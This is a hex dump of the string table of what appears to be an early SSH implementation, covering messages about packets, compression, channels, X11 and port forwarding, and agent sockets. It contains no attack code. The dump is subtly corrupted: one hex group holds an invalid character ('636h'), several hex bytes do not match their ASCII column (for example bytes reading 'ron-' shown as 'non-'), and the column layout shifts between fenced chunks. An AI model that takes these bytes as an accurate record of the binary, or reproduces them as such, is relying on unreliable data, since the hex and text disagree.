08071190  42616420 7061636b 6574206c 656e6774    Bad packet lengt
080711a0  68202575 2e000000 00000000 00000000    h %u............
080711b0  00000000 00000000 00000000 00000000    ................
080711c0  4a756e6b 20646174 6120606c 65667420    Junk data left t
080711d0  6f20696e 636f6d69 6e672070 61636b65    o incoming packe
080711e0  74206275 66666572 20616674 65722061    t buffer after a
080711f0  6c6c2064 61746120 70726f63 65737365    ll data processe
08071200  64007061 636b6574 5f726561 645f706f    d.packet_read_po
08071210  6c6c0000 00000000 00000000 00000000    ll..............
```

```
08071220  6c656e20 3d3d2062 75666665 725f6c65  len == buffer_le
08071230  6e282669 6e636f6d 696e675f 7061636b  n(&incoming_pack
08071240  65742900 00000000 00000000 00000000  et).............
08071250  00000000 00000000 00000000 00000000  ................
08071260  436f7272 75707465 64206368 65636b20  Corrupted check 
08071270  62797465 73206f6e 20696e70 75742e00  bytes on input..
08071280  252e3930 30730052 656d6f74 653a2025  %.900s.Remote: %
08071290  2e393030 73000000 00000000 00000000  .900s...........
080712a0  7061636b 65745f64 6973636f 6e6e6563  packet_disconnec
080712b0  74206361 6c6c6564 20726563 75727369  t called recursi
080712c0  76656c79 2e004c6f 63616c3a 20252e31  vely..Local: %.1
080712d0  30307300 57726974 65206661 696c6564  00s.Write failed
080712e0  3a20252e 31303073 00000000 00000000  : %.100s........
080712f0  00000000 00000000 00000000 00000000  ................
08071300  73657473 6f636b6f 70742053 4f5f4b45  setsockopt SO_KE
08071310  4550414c 4956453a 20252e31 30307300  EPALIVE: %.100s.
08071320  73657473 6f636b6f 70742053 4f5f4b45  setsockopt SO_KE
08071330  4550414c 49564520 6f66663a 20252e31  EPALIVE off: %.1
08071340  30307300 00000000 00000000 00000000  00s.............
08071350  00000000 00000000 00000000 00000000  ................
08071360  73657473 6f636b6f 70742049 50544f53  setsockopt IPTOS
08071370  5f4c4f57 44454c41 593a2025 2e313030  _LOWDELAY: %.100
08071380  73000000 00000000 00000000 00000000  s...............
08071390  00000000 00000000 00000000 00000000  ................
080713a0  73657473 6f636b6f 70742054 43505f4e  setsockopt TCP_N
080713b0  4f44454c 41593a20 252e3130 30730000  ODELAY: %.100s..
080713c0  73657473 6f636b6f 70742049 50544f53  setsockopt IPTOS
080713d0  5f544852 4f554748 5055543a 20252e31  _THROUGHPUT: %.1
080713e0  30307300 00000000 00000000 00000000  00s.............
080713f0  00000000 00000000 00000000 00000000  ................
08071400  456e6162 6c696e67 20636f6d 70726573  Enabling compres
08071410  73696f6e 20617420 6c657665 6c202564  sion at level %d
08071420  2e004261 6420636f 6d707265 7373696f  ..Bad compressio
08071430  6e206c65 76656c20 25642e00 312e302e  n level %d..1.0.
08071440  34000000 00000000 00000000 00000000  4...............
08071450  00000000 00000000 00000000 00000000  ................
08071460  636f6d70 72657373 206f7574 676f696e  compress outgoin
08071470  673a2072 61772064 61746120 256c752c  g: raw data %lu,
08071480  20636f6d 70726573 73656420 256c752c   compressed %lu,
08071490  20666163 746f7220 252e3266 00000000   factor %.2f....
080714a0  636f6d70 72657373 20696e63 6f6d696e  compress incomin
080714b0  673a2072 61772064 61746120 256c752c  g: raw data %lu,
080714c0  20636f6d 70726573 73656420 256c752c   compressed %lu,
080714d0  20666163 746f7220 252e3266 00000000   factor %.2f....
080714e0  62756666 65725f63 6f6d7072 6573733a  buffer_compress:
080714f0  20646566 6c617465 20726574 75726e65   deflate returne
08071500  64205a5f 53545245 414d5f45 4e440000  d Z_STREAM_END..
08071510  00000000 00000000 00000000 00000000  ................
08071520  62756666 65725f63 6f6d7072 6573733a  buffer_compress:
08071530  20646566 6c617465 20726574 75726e65   deflate returne
08071540  64205a5f 53545245 414d5f45 52524f52  d Z_STREAM_ERROR
08071550  00000000 00000000 00000000 00000000  ................
08071560  62756666 65725f63 6f6d7072 6573733a  buffer_compress:
08071570  20646566 6c617465 20726574 75726e65   deflate returne
08071580  64205a5f 4255465f 4552524f 52000000  d Z_BUF_ERROR...
08071590  00000000 00000000 00000000 00000000  ................
080715a0  62756666 65725f63 6f6d7072 6573733a  buffer_compress:
080715b0  20646566 6c617465 20726574 75726e65   deflate returne
080715c0  64202564 00000000 00000000 00000000  d %d............
080715d0  00000000 00000000 00000000 00000000  ................
080715e0  62756666 65725f75 6e636f6d 70726573  buffer_uncompres
080715f0  733a2069 6e666c61 74652072 65747572  s: inflate retur
08071600  6e656420 5a5f5354 5245414d 5f454e44  ned Z_STREAM_END
08071610  00000000 00000000 00000000 00000000  ................
08071620  62756666 65725f75 6e636f6d 70726573  buffer_uncompres
08071630  733a2069 6e666c61 74652072 65747572  s: inflate retur
08071640  6e656420 5a5f4441 54415f45 52524f52  ned Z_DATA_ERROR
08071650  00000000 00000000 00000000 00000000  ................
08071660  62756666 65725f75 6e636f6d 70726573  buffer_uncompres
08071670  733a2069 6e666c61 74652072 65747572  s: inflate retur
08071680  6e656420 5a5f5354 5245414d 5f455252  ned Z_STREAM_ERR
08071690  4f520000 00000000 00000000 00000000  OR..............
080716a0  62756666 65725f75 6e636f6d 70726573  buffer_uncompres
080716b0  733a2069 6e666c61 74652072 65747572  s: inflate retur
080716c0  6e656420 5a5f4d45 4d5f4552 524f5200  ned Z_MEM_ERROR.
080716d0  00000000 00000000 00000000 00000000  ................
080716e0  62756666 65725f75 6e636f6d 70726573  buffer_uncompres
080716f0  733a2069 6e666c61 74652072 65747572  s: inflate retur
08071700  6e656420 25640000 00000000 00000000  ned %d..........
08071710  886e0508 606e0508 3c6e0508 4c6e0508  .n..`n..<n..Ln..
08071720  706e0508 fc6d0508 2c6e0508 00000000  pn...m..,n......
08071730  00000000 00000000 00000000 00000000  ................
08071740  786d616c 6c6f633a 206f7574 206f6620  xmalloc: out of 
08071750  6d656d6f 72792028 616c6c6f 63617469  memory (allocati
```

```
08071760  6e672025 64206279 74657329 00000000   ng %d bytes)....
08071770  00000000 00000000 00000000 00000000   ................
08071780  78726561 6c6c6f63 3a204e55 4c4c2070   xrealloc: NULL p
08071790  6f696e74 65722067 6976656e 20617320   ointer given as
080717a0  61726775 6d656e74 00000000 00000000   argument........
080717b0  00000000 00000000 00000000 00000000   ................
080717c0  78726561 6c6c6f63 3a206f75 74206f66   xrealloc: out of
080717d0  206d656d 6f727920 286e6577 5f73697a    memory (new_siz
080717e0  65202564 20627974 65732900 00000000   e %d bytes).....
080717f0  00000000 00000000 00000000 00000000   ................
08071800  78667265 653a204e 554c4c20 706f696e   xfree: NULL poin
08071810  74657220 67697665 6e206173 20617267   ter given as arg
08071820  756d656e 74000000 00000000 00000000   ument...........
08071830  00000000 00000000 00000000 00000000   ................
08071840  74636765 74617474 723a2025 2e313030   tcgetattr: %.100
08071850  73006366 73657469 73706565 64206661   s.cfsetispeed fa
08071860  696c6564 20666f72 20256400 63667365   iled for %d.cfse
08071870  746f7370 65656420 6661696c 65642066   tospeed failed f
08071880  6f722025 64000000 00000000 00000000   or %d...........
08071890  00000000 00000000 00000000 00000000   ................
080718a0  49676e6f 72696e67 20756e73 7570706f   Ignoring unsuppo
080718b0  72746564 20747479 206d6f64 65206f70   rted tty mode op
080718c0  636f6465 20256420 28307825 78290000   code %d (0x%x)..
080718d0  00000000 00000000 00000000 00000000   ................
080718e0  70617273 655f7474 795f6d6f 6465733a   parse_tty_modes:
080718f0  20756e6b 6e6f776e 206f7063 6f646520    unknown opcode
08071900  25640000 00000000 00000000 00000000   %d..............
08071910  00000000 00000000 00000000 00000000   ................
08071920  53657474 696e6720 74747920 6d6f6465   Setting tty mode
08071930  73206661 696c6564 3a20252e 31303073   s failed: %.100s
08071940  00000000 00000000 00000000 00000000   ................
08071950  117f0508 50790508 60790508 70790508   ....Py..`y..py..
08071960  80790508 90790508 a0790508 b0790508   .y...y...y...y..
08071970  c0790508 d0790508 e0790508 cc7e0508   .y...y...y...~..
08071980  f0790508 007a0508 107a0508 cc7e0508   .y...z...z...~..
08071990  cc7e0508 cc7e0508 207a0508 cc7e0508   .~...~.. z...~..
080719a0  cc7e0508 cc7e0508 cc7e0508 cc7e0508   .~...~...~...~..
080719b0  cc7e0508 cc7e0508 cc7e0508 cc7e0508   .~...~...~...~..
080719c0  cc7e0508 cc7e0508 307a0508 507a0508   .~...~...0z..Pz..
080719d0  707a0508 907a0508 b07a0508 d07a0508   pz...z...z...z..
080719e0  f47a0508 187b0508 3c7b0508 607b0508   .z...{..<{..`{..
080719f0  847b0508 a87b0508 cc7e0508 cc7e0508   .{...{...~...~..
08071a00  cc7e0508 cc7e0508 cc7e0508 cc7e0508   .~...~...~...~..
08071a10  cc7e0508 cc7e0508 cc7b0508 ec7b0508   .~...~...{...{..
08071a20  0c7c0508 2c7c0508 4c7c0508 6c7c0508   .|..,|..L|..l|..
08071a30  8c7c0508 ac7c0508 d07c0508 f47c0508   .|...|...|...|..
08071a40  187d0508 3c7d0508 607d0508 cc7e0508   .}..<}..`}...~..
08071a50  cc7e0508 cc7e0508 cc7e0508 cc7e0508   .~...~...~...~..
08071a60  cc7e0508 cc7e0508 847d0508 a47d0508   .~...~...}...}..
08071a70  c47d0508 e47d0508 047e0508 247e0508   .}...}...~..$~..
08071a80  cc7e0508 cc7e0508 cc7e0508 cc7e0508   .~...~...~...~..
08071a90  cc7e0508 cc7e0508 cc7e0508 cc7e0508   .~...~...~...~..
08071aa0  cc7e0508 cc7e0508 cc7e0508 cc7e0508   .~...~...~...~..
08071ab0  cc7e0508 cc7e0508 447e0508 647e0508   .~...~..D~..d~..
08071ac0  847e0508 a87e0508 cc7e0508 cc7e0508   .~...~...~...~..
08071ad0  cc7e0508 cc7e0508 cc7e0508 cc7e0508   .~...~...~...~..
08071ae0  cc7e0508 cc7e0508 cc7e0508 cc7e0508   .~...~...~...~..
08071af0  cc7e0508 cc7e0508 cc7e0508 cc7e0508   .~...~...~...~..
08071b00  cc7e0508 cc7e0508 cc7e0508 cc7e0508   .~...~...~...~..
08071b10  cc7e0508 cc7e0508 cc7e0508 cc7e0508   .~...~...~...~..
08071b20  cc7e0508 cc7e0508 cc7e0508 cc7e0508   .~...~...~...~..
08071b30  cc7e0508 cc7e0508 cc7e0508 cc7e0508   .~...~...~...~..
08071b40  cc7e0508 cc7e0508 cc7e0508 cc7e0508   .~...~...~...~..
08071b50  cc7e0508 cc7e0508 cc7e0508 cc7e0508   .~...~...~...~..
08071b60  cc7e0508 cc7e0508 cc7e0508 cc7e0508   .~...~...~...~..
08071b70  cc7e0508 cc7e0508 cc7e0508 cc7e0508   .~...~...~...~..
08071b80  cc7e0508 cc7e0508 cc7e0508 cc7e0508   .~...~...~...~..
08071b90  cc7e0508 cc7e0508 cc7e0508 cc7e0508   .~...~...~...~..
08071ba0  cc7e0508 cc7e0508 cc7e0508 cc7e0508   .~...~...~...~..
08071bb0  cc7e0508 cc7e0508 cc7e0508 cc7e0508   .~...~...~...~..
08071bc0  cc7e0508 cc7e0508 cc7e0508 cc7e0508   .~...~...~...~..
08071bd0  cc7e0508 cc7e0508 cc7e0508 cc7e0508   .~...~...~...~..
08071be0  cc7e0508 cc7e0508 cc7e0508 cc7e0508   .~...~...~...~..
08071bf0  cc7e0508 cc7e0508 cc7e0508 cc7e0508   .~...~...~...~..
08071c00  cc7e0508 cc7e0508 cc7e0508 cc7e0508   .~...~...~...~..
08071c10  cc7e0508 cc7e0508 cc7e0508 cc7e0508   .~...~...~...~..
08071c20  cc7e0508 cc7e0508 cc7e0508 cc7e0508   .~...~...~...~..
08071c30  cc7e0508 cc7e0508 cc7e0508 cc7e0508   .~...~...~...~..
08071c40  cc7e0508 cc7e0508 cc7e0508 cc7e0508   .~...~...~...~..
08071c50  e4780508 14790508 00000000 00000000   .x...y..........
08071c60  45787061 6e64696e 67207468 65206172   Expanding the ar
08071c70  7261792e 2e2e0000 00000000 00000000   ray.............
08071c80  41727261 7920256e 6f772064 20636861   Array now %d cha
08071c90  6e6e656c 73205b66 69727374 20667265   nnels [first fre
```

```
08071ca0   65206174 2025645d 2e000000 00000000   e at %d].......
08071cb0   00000000 00000000 00000000 00000000   ...............
08071cc0   416c6c6f 63617465 64206368 616e6e65   Allocated channe
08071cd0   6c202564 206f6620 74797065 2025642e   l %d of type %d.
08071ce0   00000000 00000000 00000000 00000000   ...............
08071cf0   00000000 00000000 00000000 00000000   ...............
08071d00   496e7465 726e616c 20627567 20696e20   Internal bug in
08071d10   6368616e 6e656c5f 616c6c6f 63617465   channel_allocate
08071d20   2e006368 616e6e65 6c5f6672 6565006e   ..channel_free.n
08071d30   65776368 616e6e65 6c732e63 00000000   ewchannels.c....
08071d40   6368616e 6e656c20 3e3d2030 20262620   channel >= 0 &&
08071d50   6368616e 6e656c20 3c206368 616e6e65   channel < channe
08071d60   6c735f61 6c6c6f63 20262620 6368616e   ls_alloc && chan
08071d70   6e656c73 5b636861 6e6e656c 5d2e7479   nels[channel].ty
08071d80   70652021 3d203000 00000000 00000000   pe != 0.........
08071d90   00000000 00000000 00000000 00000000   ...............
08071da0   44697363 61726469 6e672074 65726d69   Discarding termi
08071db0   6e617469 6f6e206f 66206368 616e6e65   nation of channe
08071dc0   6c202564 2e004368 616e6e65 6c202564   l %d..Channel %d
08071dd0   20746572 6d696e61 7465732e 00436861    terminates..Cha
08071de0   6e6e656c 20256420 73656e64 73206965   nnel %d sends ie
08071df0   6f662e00 4368616e 6e656c20 25642073   of..Channel %d s
08071e00   656e6473 206f636c 6f736564 2e000000   ends oclosed....
08071e10   00000000 00000000 00000000 00000000   ...............
08071e20   4368616e 6e656c20 25642063 6c6f7365   Channel %d close
08071e30   7320696e 636f6d69 6e672064 61746120   s incoming data
08071e40   73747265 616d2e00 00000000 00000000   stream.........
08071e50   00000000 00000000 00000000 00000000   ...............
08071e60   4368616e 6e656c20 25642063 6c6f7365   Channel %d close
08071e70   7320756f 74676f69 6e672064 61746120   s outgoing data
08071e80   73747265 616d2e00 54686973 20697320   stream..This is
08071e90   656d756c 6174696f 6e2e0052 65636569   emulation..Recei
08071ea0   76656420 646f7562 6c652069 6e707574   ved double input
08071eb0   20656f66 2e000000 00000000 00000000    eof............
08071ec0   4368616e 6e656c20 25642072 65636569   Channel %d recei
08071ed0   76657320 696e7075 7420656f 662e0000   ves input eof...
08071ee0   58207072 6f626c65 6d206669 783a2063   X problem fix: c
08071ef0   6c6f7365 20746865 206f7468 65722064   lose the other d
08071f00   69726563 74696f6e 2e005265 63656976   irection..Receiv
08071f10   65642064 6f75626c 6520636c 6f73652e   ed double close.
08071f20   00000000 00000000 00000000 00000000   ...............
08071f30   00000000 00000000 00000000 00000000   ...............
08071f40   4368616e 6e656c20 25642072 65636569   Channel %d recei
08071f50   76657320 6f757470 75742063 6c6f7365   ves output close
08071f60   642e0000 00000000 00000000 00000000   d...............
08071f70   00000000 00000000 00000000 00000000   ...............
08071f80   52656365 69766564 2069656f 6620666f   Received ieof fo
08071f90   72206e6f 6e657869 7374656e 7420636h   r nonexistent ch
08071fa0   616e6e65 6c202564 2e000000 00000000   annel %d........
08071fb0   00000000 00000000 00000000 00000000   ...............
08071fc0   52656365 69766564 206f636c 6f736564   Received oclosed
08071fd0   20666f72 206e6f6e 65786973 74656e74    for nonexistent
08071fe0   20636861 6e6e656c 2025642e 00456d75    channel %d..Emu
08071ff0   6c617465 6420636c 6f73652e 00000000   lated close.....
08072000   52656365 69766564 20656d75 6c617465   Received emulate
08072010   645f636c 6f736520 666f7220 6e6f6e65   d_close for none
08072020   78697374 656e7420 6368616e 6e656c20   xistent channel
08072030   25642e00 00000000 00000000 00000000   %d..............
08072040   496e6974 69616c20 58313120 7061636b   Initial X11 pack
08072050   65742063 6f6e7461 696e7320 62616420   et contains bad
08072060   62797465 206f7264 65722062 7974653a   byte order byte:
08072070   20307825 78000000 00000000 00000000    0x%x...........
08072080   58313120 636f6e6e 65637469 6f6e2075   X11 connection u
08072090   73657320 64696666 6572656e 74206175   ses different au
080720a0   7468656e 74696361 74696f6e 2070726f   thentication pro
080720b0   746f636f 6c3a2027 252e3130 30732720   tocol: '%.100s'
080720c0   76732e20 27252e2a 73272e00 00000000   vs. '%.*s'......
080720d0   00000000 00000000 00000000 00000000   ...............
080720e0   58313120 61757468 20646174 6120646f   X11 auth data do
080720f0   6573206e 6f74206d 61746368 2066616b   es not match fak
08072100   65206461 74612e00 6368616e 6e656c5f   e data..channel_
08072110   70726570 6172655f 73656c65 63740000   prepare_select..
08072120   7831315f 66616b65 5f646174 615f6c65   x11_fake_data_le
08072130   6e203d3d 20783131 5f736176 65645f64   n == x11_saved_d
08072140   6174615f 6c656e00 00000000 00000000   ata_len.........
08072150   00000000 00000000 00000000 00000000   ...............
08072160   58313120 636f6e6e 65637469 6f6e2072   X11 connection r
08072170   656a6563 74656420 62656361 75736520   ejected because
08072180   6f662077 726f6e67 20617574 68656e74   of wrong authent
08072190   69636174 696f6e20 61742025 2e313030   ication at %.100
080721a0   732e0d0a 61000000 00000000 00000000   s...a...........
080721b0   00000000 00000000 00000000 00000000   ...............
080721c0   52656a65 63746564 20636f6e 6e656374   Rejected connect
080721d0   696f6e20 61742025 2e313030 733a2025   ion at %.100s: %
```

```
080721e0   2e323030 730d0a00 00000000 00000000     .200s...........
080721f0   908a0508 ec860508 ec860508 908a0508     ................
08072200   0c870508 908a0508 908a0508 908a0508     ................
08072210   908a0508 c0870508 ec860508 58313120     ............X11
08072220   636f6e6e 65637469 6f6e2072 65717565     connection reque
08072230   73746564 2e006163 63657074 3a20252e     sted..accept: %.
08072240   31303073 00000000 00000000 00000000     100s............
08072250   00000000 00000000 00000000 00000000     ................
08072260   58313120 636f6e6e 65637469 6f6e2066     X11 connection f
08072270   726f6d20 252e3230 30732070 6f727420     rom %.200s port
08072280   25640000 00000000 00000000 00000000     %d..............
08072290   00000000 00000000 00000000 00000000     ................
080722a0   436f6e6e 65637469 6f6e2074 6f20706f     Connection to po
080722b0   72742025 6420666f 72776172 64696e67     rt %d forwarding
080722c0   20746f20 252e3130 30733a25 64207265      to %.100s:%d re
080722d0   71756573 7465642e 00000000 00000000     quested.........
080722e0   706f7274 2025642c 20636f6e 6e656374     port %d, connect
080722f0   696f6e20 66726f6d 20252e32 30307320     ion from %.200s
08072300   706f7274 20256400 00000000 00000000     port %d.........
08072310   00000000 00000000 00000000 00000000     ................
08072320   436f6e6e 65637469 6f6e2074 6f206167     Connection to ag
08072330   656e7420 70726f78 79207265 71756573     ent proxy reques
08072340   74656420 66726f6d 20756e69 7820646f     ted from unix do
08072350   6d61696e 20736f63 6b65742e 00466f72     main socket..For
08072360   77617264 65642061 67656e74 20636f6e     warded agent con
08072370   6e656374 696f6e00 00000000 00000000     nection.........
08072380   178f0508 0c8b0508 308c0508 178f0508     ........0.......
08072390   248e0508 178f0508 178f0508 178f0508     $...............
080723a0   178f0508 178f0508 808d0508 00000000     ................
080723b0   00000000 00000000 00000000 00000000     ................
080723c0   52656365 69766564 20646174 6120666f     Received data fo
080723d0   72206e6f 6e657869 7374656e 74206368     r nonexistent ch
080723e0   616e6e65 6c202564 2e000000 00000000     annel %d........
080723f0   00000000 00000000 00000000 00000000     ................
08072400   4f746865 72207061 72747920 73656e74     Other party sent
08072410   20646174 61206166 74657220 656f6620      data after eof
08072420   666f7220 6368616e 6e656c20 25642e00     for channel %d..
08072430   00000000 00000000 00000000 00000000     ................
08072440   52656365 69766564 206f7065 6e20636f     Received open co
08072450   6e666972 6d617469 6f6e2066 6f72206e     nfirmation for n
08072460   6f6e2d6f 70656e69 6e672063 68616e6e     on-opening chann
08072470   656c2025 642e0000 00000000 00000000     el %d...........
08072480   4368616e 6e656c20 6e6f7720 6f70656e     Channel now open
08072490   2c207374 61747573 20626974 73202578     , status bits %x
080724a0   00000000 00000000 00000000 00000000     ................
080724b0   00000000 00000000 00000000 00000000     ................
080724c0   52656365 69766564 206f7065 6e206661     Received open fa
080724d0   696c7572 6520666f 7220726f 6e2d6f70     ilure for non-op
080724e0   656e696e 67206368 616e6e65 6c202564     ening channel %d
080724f0   2e000000 00000000 00000000 00000000     ................
08072500   6368616e 6e656c5f 7374696c 6c5f6f70     channel_still_op
08072510   656e3a20 62616420 6368616e 6e656c20     en: bad channel
08072520   74797065 20256400 00000000 00000000     type %d.........
08072530   4b930508 4b930508 4b930508 20930508     K...K...K... ...
08072540   20930508 28930508 28930508 28930508      ...(...(...(...
08072550   28930508 20930508 4b930508 00000000     (... ...K.......
08072560   54686520 666f6c6c 6f77696e 6720636f     The following co
08072570   6e6e6563 74696f6e 73206172 65206f70     nnections are op
08072580   656e3a0d 0a002020 252e3330 30730d0a     en:...  %.300s..
08072590   00000000 00000000 00000000 00000000     ................
080725a0   3f940508 3f940508 3f940508 d4930508     ?...?...?.......
080725b0   d4930508 1c940508 1c940508 1c940508     ................
080725c0   1c940508 d4930508 3f940508 466f7277     ........?...Forw
080725d0   61726420 686f7374 206e616d 6520746f     ard host name to
080725e0   6f206c6f 6e672e00 736f636b 65743a20     o long..socket:
080725f0   252e3130 30730031 32372e30 2e302e31     %.100s.127.0.0.1
08072600   00626964 643a2025 2e313030 73006c69     .bind: %.100s.li
08072610   7374656e 3a20252e 31303073 00706f72     sten: %.100s.por
08072620   74206c69 7374656e 65720000 00000000     t listener......
08072630   00000000 00000000 00000000 00000000     ................
08072640   52656d6f 74652065 6e642064 656e6965     Remote end denie
08072650   6420706f 72742066 6f727761 7264696e     d port forwardin
08072660   6720746f 2025643a 252e3530 733a2564     g to %d:%.50s:%d
08072670   00000000 00000000 00000000 00000000     ................
08072680   50726f74 6f636f6c 20657272 6f723a20     Protocol error:
08072690   65787065 63746564 20706163 6b657420     expected packet
080726a0   74797065 2025642c 20676f74 20256400     type %d, got %d.
080726b0   00000000 00000000 00000000 00000000     ................
080726c0   6368616e 6e656c5f 72657175 6573745f     channel_request_
080726d0   72656d6f 74655f66 6f727761 7264696e     remote_forwardin
080726e0   673a2074 6f6f206d 616e7920 666f7277     g: too many forw
080726f0   61726473 00000000 00000000 00000000     ards............
08072700   52657175 65737465 6420666f 72776172     Requested forwar
08072710   64696e67 20686f73 746e616d 6520746f     ding hostname to
```

```
08072720  6f206c6f 6e673a20 252e3230 30732e00  o long: %.200s..
08072730  00000000 00000000 00000000 00000000  ................
08072740  52657175 65737465 6420666f 72776172  Requested forwar
08072750  64696e67 206f6620 706f7274 20256420  ding of port %d
08072760  62757420 75736572 20697320 6e6f7420  but user is not
08072770  726f6f74 2e000000 00000000 00000000  root............
08072780  756e6b6e 6f776e20 2872656d 6f746520  unknown (remote
08072790  64696420 6e6f7420 73757070 6c79206e  did not supply n
080727a0  616d6529 00000000 00000000 00000000  ame)............
080727b0  00000000 00000000 00000000 00000000  ................
080727c0  52656365 69766564 20726571 75657374  Received request
080727d0  20746f20 636f6e6e 65637420 746f2025   to connect to %
080727e0  2e313030 733a2564 2c206275 74207468  .100s:%d, but th
080727f0  65207265 71756573 74207761 73206465  e request was de
08072800  6e696564 2e00252e 31303073 3a20756e  nied..%.100s: un
08072810  6b6e6f77 6e20686f 73742e00 00000000  known host......
08072820  252e3130 30733a20 686f7374 20686173  %.100s: host has
08072830  206e6f20 49502061 64647265 73732e00   no IP address..
08072840  636f6e6e 65637420 252e3130 30733a25  connect %.100s:%
08072850  643a2025 2e313030 73006269 6e642070  d: %.100s.bind p
08072860  6f727420 25643a20 252e3130 30730000  ort %d: %.100s..
08072870  00000000 00000000 00000000 00000000  ................
08072880  4661696c 65642064 6f20616c 6c6f6361  Failed to alloca
08072890  74652069 6e746572 6e65742d 646f6d61  te internet-doma
080728a0  696e2058 31312064 6973706c 61792073  in X11 display s
080728b0  6f636b65 742e0074 6574686f 73746e61  ocket..gethostna
080728c0  6d653a20 252e3130 30730025 2e343030  me: %.100s.%.400
080728d0  733a2564 2e256400 58313120 696e6574  s:%d.%d.X11 inet
080728e0  206c6973 74656e65 72005265 63656976   listener.Receiv
080728f0  65642058 3131206f 70656e20 72657175  ed X11 open requ
08072900  6573742e 00000000 00000000 00000000  est.............
08072910  00000000 00000000 00000000 00000000  ................
08072920  5761726e 696e673a 20536572 76657220  Warning: Server
08072930  61747465 6d707465 64205831 3120666f  attempted X11 fo
08072940  72776172 64696e67 20776974 686f7574  rwarding without
08072950  20636c69 656e7420 72657175 65737400   client request.
08072960  5761726e 696e673a 20546869 73206973  Warning: This is
08072970  20612070 726f6261 626c6520 62726561   a probable brea
08072980  6b2d696e 20617474 656d7074 2028636f  k-in attempt (co
08072990  6d70726f 6d697365 64207365 72766572  mpromised server
080729a0  3f290044 4953504c 41590044 4953504c  ?).DISPLAY.DISPL
080729b0  4159206e 6f742073 65742e00 756e6978  AY not set..unix
080729c0  3a00256400 00000000 00000000 00000000  :.%d............
080729d0  00000000 00000000 00000000 00000000  ................
080729e0  436f756c 64206e6f 74207061 72736520  Could not parse
080729f0  64697370 6c617920 6e756d62 65722066  display number f
08072a00  726f6d20 44495350 4c41593a 20252e31  rom DISPLAY: %.1
08072a10  30307300 2f766172 2f582f2e 5831312d  00s./var/X/.X11-
08072a20  756e6978 00252e38 30732f58 25642e2f  unix.%.80s/X%d./
08072a30  746d702f 2e583131 2d756e69 7800636f  tmp/.X11-unix.co
08072a40  6e6e6563 7420252e 31303073 3a20252e  nnect %.100s: %.
08072a50  31303073 00000000 00000000 00000000  100s............
08072a60  436f756c 64206e6f 74206669 6e642027  Could not find '
08072a70  3a272069 6e204449 53504c41 593a2025  :' in DISPLAY: %
08072a80  2e313030 73000000 00000000 00000000  .100s...........
08072a90  00000000 00000000 00000000 00000000  ................
08072aa0  53656e64 696e6720 6f70656e 20636f6e  Sending open con
08072ab0  6669726d 6174696f 6e20746f 20746865  firmation to the
08072ac0  2072656d 6f746520 686f7374 2e004661   remote host..Fa
08072ad0  696c6564 2e2e2e00 25327800 00000000  iled....%2x.....
08072ae0  7831315f 72657175 6573745f 666f7277  x11_request_forw
08072af0  61726469 6e673a20 62616420 61757468  arding: bad auth
08072b00  656e7469 63617469 6f6e2064 6174613a  entication data:
08072b10  20252e31 30307300 25303278 002f0000   %.100s.%02x./..
08072b20  50726f74 6f636f6c 20657272 6f723a20  Protocol error:
08072b30  61757468 656e7469 63617469 6f6e2066  authentication f
08072b40  6f727761 7264696e 67207265 71756573  orwarding reques
08072b50  74656420 74776963 652e002f 746d702f  ted twice../tmp/
08072b60  7373682d 252e3530 73007373 682d2564  ssh-%.50s.ssh-%d
08072b70  2d616765 6e740000 00000000 00000000  -agent..........
08072b80  2a205265 6d6f7465 20657272 6f723a20  * Remote error:
08072b90  496e7661 6c696420 5353485f 4147454e  Invalid SSH_AGEN
08072ba0  545f534f 434b4554 5f444952 2027252e  T_SOCKET_DIR '%.
08072bb0  31303073 272c2069 74207368 6f756c64  100s', it should
08072bc0  20636f6e 7461696e 20617420 6c656173   contain at leas
08072bd0  7420616f 6e65202f 2e000000 00000000  t one /.........
08072be0  2a205265 6d6f7465 20657272 6f723a20  * Remote error:
08072bf0  41757468 656e7469 63617469 6f6e2066  Authentication f
08072c00  6f727761 7264696e 67206469 7361626c  orwarding disabl
08072c10  642e0000 00000000 00000000 00000000  d...............
08072c20  2a205265 6d6f7465 20657272 6f723a20  * Remote error:
08072c30  4167656e 74207061 72656e74 20646972  Agent parent dir
08072c40  6563746f 72792027 252e3130 30732720  ectory '%.100s'
08072c50  73746174 20666169 6c65643a 20252e31  stat failed: %.1
```

```
08072c60  30307300 00000000 00000000 00000000  00s.............
08072c70  00000000 00000000 00000000 00000000  ................
08072c80  2a205265 6d6f7465 20657272 6f723a20  * Remote error:
08072c90  73746174 206f6620 6167656e 74206469  stat of agent di
08072ca0  72656374 6f727920 27252e31 30307327  rectory '%.100s'
08072cb0  20666169 6c65643a 20252e31 30307300   failed: %.100s.
08072cc0  2a205265 6d6f7465 20657272 6f723a20  * Remote error:
08072cd0  4167656e 74206469 72656374 6f727920  Agent directory
08072ce0  27252e31 30307327 206d6b64 69722066  '%.100s' mkdir f
08072cf0  61696c65 643a2025 2e313030 73000000  ailed: %.100s...
08072d00  2a205265 6d6f7465 20657272 6f723a20  * Remote error:
08072d10  4167656e 7420736f 636b6574 20637265  Agent socket cre
08072d20  6174696f 6e3a4261 64206d6f 6465732f  ation:Bad modes/
08072d30  6f776e65 7220666f 72206469 72656374  owner for direct
08072d40  6f727920 27252e31 30307327 20286d6f  ory '%.100s' (mo
08072d50  64657320 61726520 256f2c20 73686f75  des are %o, shou
08072d60  6c642062 65203034 30373030 29002e00  ld be 040700)...
08072d70  00000000 00000000 00000000 00000000  ................
08072d80  2a205265 6d6f7465 20657272 6f723a20  * Remote error:
08072d90  73746174 20272e27 20666169 6c656420  stat '.' failed
08072da0  61667465 72206368 64697220 746f2027  after chdir to '
08072db0  252e3130 3073273a 20252e31 30307300  %.100s': %.100s.
08072dc0  2a205265 6d6f7465 20657272 6f723a20  * Remote error:
08072dd0  4167656e 7420736f 636b6574 20637265  Agent socket cre
08072de0  6174696f 6e3a2077 726f6e67 20646972  ation: wrong dir
08072df0  6563746f 72792061 66746572 20636864  ectory after chd
08072e00  6972002e 2e000000 00000000 00000000  ir..............
08072e10  00000000 00000000 00000000 00000000  ................
08072e20  2a205265 6d6f7465 20657272 6f723a20  * Remote error:
08072e30  4167656e 7420736f 636b6574 20646972  Agent socket dir
08072e40  6563746f 72792073 74617420 272e2e27  ectory stat '..'
08072e50  20666169 6c65643a 20252e31 30307300   failed: %.100s.
08072e60  2a205265 6d6f7465 20657272 6f723a20  * Remote error:
08072e70  4167656e 7420736f 636b6574 20637265  Agent socket cre
08072e80  6174696f 6e3a2044 69726563 746f7279  ation: Directory
08072e90  2027252e 31303073 2f2e2e27 20697320   '%.100s/..' is
08072ea0  6e6f7420 73746963 6b792c20 6d6f6465  not sticky, mode
